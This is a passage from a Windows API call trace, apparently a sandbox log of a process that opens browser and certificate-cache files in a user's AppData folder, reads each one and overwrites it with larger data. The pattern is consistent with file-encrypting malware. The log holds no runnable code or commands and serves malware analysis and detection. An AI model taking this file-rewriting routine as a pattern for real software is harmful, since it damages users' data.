lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.682] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xe888 [0057.682] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.682] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.682] WriteFile (in: hFile=0x1bc, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0057.682] CloseHandle (hObject=0x1bc) returned 1 [0057.682] Sleep (dwMilliseconds=0x0) [0057.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.926] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.926] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x10 [0057.926] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.926] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.926] ReleaseMutex (hMutex=0x128) returned 1 [0057.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="test-phish-simple.pset", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="test-phish-simple.pset", cchWideChar=22, lpMultiByteStr=0x1e78b04, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="test-phish-simple.pset", lpUsedDefaultChar=0x0) returned 22 [0057.926] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e633e8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e633e8*, lpNumberOfBytesRead=0x304f2bc*=0x10, lpOverlapped=0x0) returned 1 [0057.927] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.927] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x598, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x598, lpOverlapped=0x0) returned 1 [0057.927] CloseHandle (hObject=0x1d4) returned 1 [0057.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\0f1583fff42fff476a09801acb69213f_e3f4a8c96454d7d3441d2c1bce81f875"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.928] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.928] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x561 [0057.928] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.928] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.928] ReleaseMutex (hMutex=0x128) returned 1 [0057.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cchWideChar=65, lpMultiByteStr=0x1e94f0c, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpUsedDefaultChar=0x0) returned 65 [0057.928] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x561, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x304f2bc*=0x561, lpOverlapped=0x0) returned 1 [0057.937] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.938] WriteFile (in: hFile=0x1d4, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x304f2d0*=0xae9, lpOverlapped=0x0) returned 1 [0057.938] CloseHandle (hObject=0x1d4) returned 1 [0057.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_6cba2c06d5985dd95ae59af8fc7c6220"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.938] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.939] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2d7 [0057.939] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.939] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.939] ReleaseMutex (hMutex=0x128) returned 1 [0057.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cchWideChar=65, lpMultiByteStr=0x1e94f0c, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpUsedDefaultChar=0x0) returned 65 [0057.939] ReadFile (in: hFile=0x1d4, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x304f2bc*=0x2d7, lpOverlapped=0x0) returned 1 [0057.945] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.945] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x85f, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x85f, lpOverlapped=0x0) returned 1 [0057.946] CloseHandle (hObject=0x1d4) returned 1 [0057.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_234cb5d64705d4dbb4da839716359af0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.951] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.951] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1cf [0057.952] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.952] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.952] ReleaseMutex (hMutex=0x128) returned 1 [0057.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cchWideChar=65, lpMultiByteStr=0x1e95224, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpUsedDefaultChar=0x0) returned 65 [0057.952] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x304f2bc*=0x1cf, lpOverlapped=0x0) returned 1 [0057.953] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.953] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0x757, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x304f2d0*=0x757, lpOverlapped=0x0) returned 1 [0057.953] CloseHandle (hObject=0x1d4) returned 1 [0057.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\828298824ea5549947c17ddabf6871f5_0206efbc540300c3bf0163cdbc3d7d56"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.954] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.954] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x56e [0057.954] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.954] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.954] ReleaseMutex (hMutex=0x128) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cchWideChar=65, lpMultiByteStr=0x1e95224, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpUsedDefaultChar=0x0) returned 65 [0057.954] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x56e, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x304f2bc*=0x56e, lpOverlapped=0x0) returned 1 [0057.956] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.956] WriteFile (in: hFile=0x1d4, lpBuffer=0x276d988*, nNumberOfBytesToWrite=0xaf6, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesWritten=0x304f2d0*=0xaf6, lpOverlapped=0x0) returned 1 [0057.956] CloseHandle (hObject=0x1d4) returned 1 [0057.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\acf244f1a10d4dbed0d88eba0c43a9b5_ba1ab6c2bdfdf57799e8116e4002d001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.957] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.957] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x5ee [0057.957] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.957] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.957] ReleaseMutex (hMutex=0x128) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cchWideChar=65, lpMultiByteStr=0x1e95224, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpUsedDefaultChar=0x0) returned 65 [0057.957] ReadFile (in: hFile=0x1d4, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x5ee, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x304f2bc*=0x5ee, lpOverlapped=0x0) returned 1 [0057.959] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.959] WriteFile (in: hFile=0x1d4, lpBuffer=0x276d988*, nNumberOfBytesToWrite=0xb76, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesWritten=0x304f2d0*=0xb76, lpOverlapped=0x0) returned 1 [0057.959] CloseHandle (hObject=0x1d4) returned 1 [0057.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d52c56d8f24bec96604372afbaf264e1_e76a2b627dd019eb51d9335f24b14c2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.959] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.959] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x663 [0057.960] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.960] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.960] ReleaseMutex (hMutex=0x128) returned 1 [0057.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cchWideChar=65, lpMultiByteStr=0x1e95224, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpUsedDefaultChar=0x0) returned 65 [0057.960] ReadFile (in: hFile=0x1d4, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x663, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x304f2bc*=0x663, lpOverlapped=0x0) returned 1 [0057.961] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.961] WriteFile (in: hFile=0x1d4, lpBuffer=0x276d988*, nNumberOfBytesToWrite=0xbeb, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesWritten=0x304f2d0*=0xbeb, lpOverlapped=0x0) returned 1 [0057.961] CloseHandle (hObject=0x1d4) returned 1 [0057.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3388ecc3f7bc4a9271c10ed8621e5a65_f55c512047947b70f94de5dec6d6838d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.962] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.962] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x18a [0057.962] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.962] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.962] ReleaseMutex (hMutex=0x128) returned 1 [0057.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cchWideChar=65, lpMultiByteStr=0x1e95224, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpUsedDefaultChar=0x0) returned 65 [0057.962] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x18a, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x304f2bc*=0x18a, lpOverlapped=0x0) returned 1 [0057.963] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.963] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0x712, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x304f2d0*=0x712, lpOverlapped=0x0) returned 1 [0057.963] CloseHandle (hObject=0x1d4) returned 1 [0057.963] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7423f88c7f265f0defc08ea88c3bde45_d975bba8033175c8d112023d8a7a8ad6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.964] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.964] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1b2 [0057.964] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.964] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.964] ReleaseMutex (hMutex=0x128) returned 1 [0057.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cchWideChar=65, lpMultiByteStr=0x1e95224, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpUsedDefaultChar=0x0) returned 65 [0057.964] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d9a8, nNumberOfBytesToRead=0x1b2, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276d9a8*, lpNumberOfBytesRead=0x304f2bc*=0x1b2, lpOverlapped=0x0) returned 1 [0057.965] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.965] WriteFile (in: hFile=0x1d4, lpBuffer=0x2724a28*, nNumberOfBytesToWrite=0x73a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: 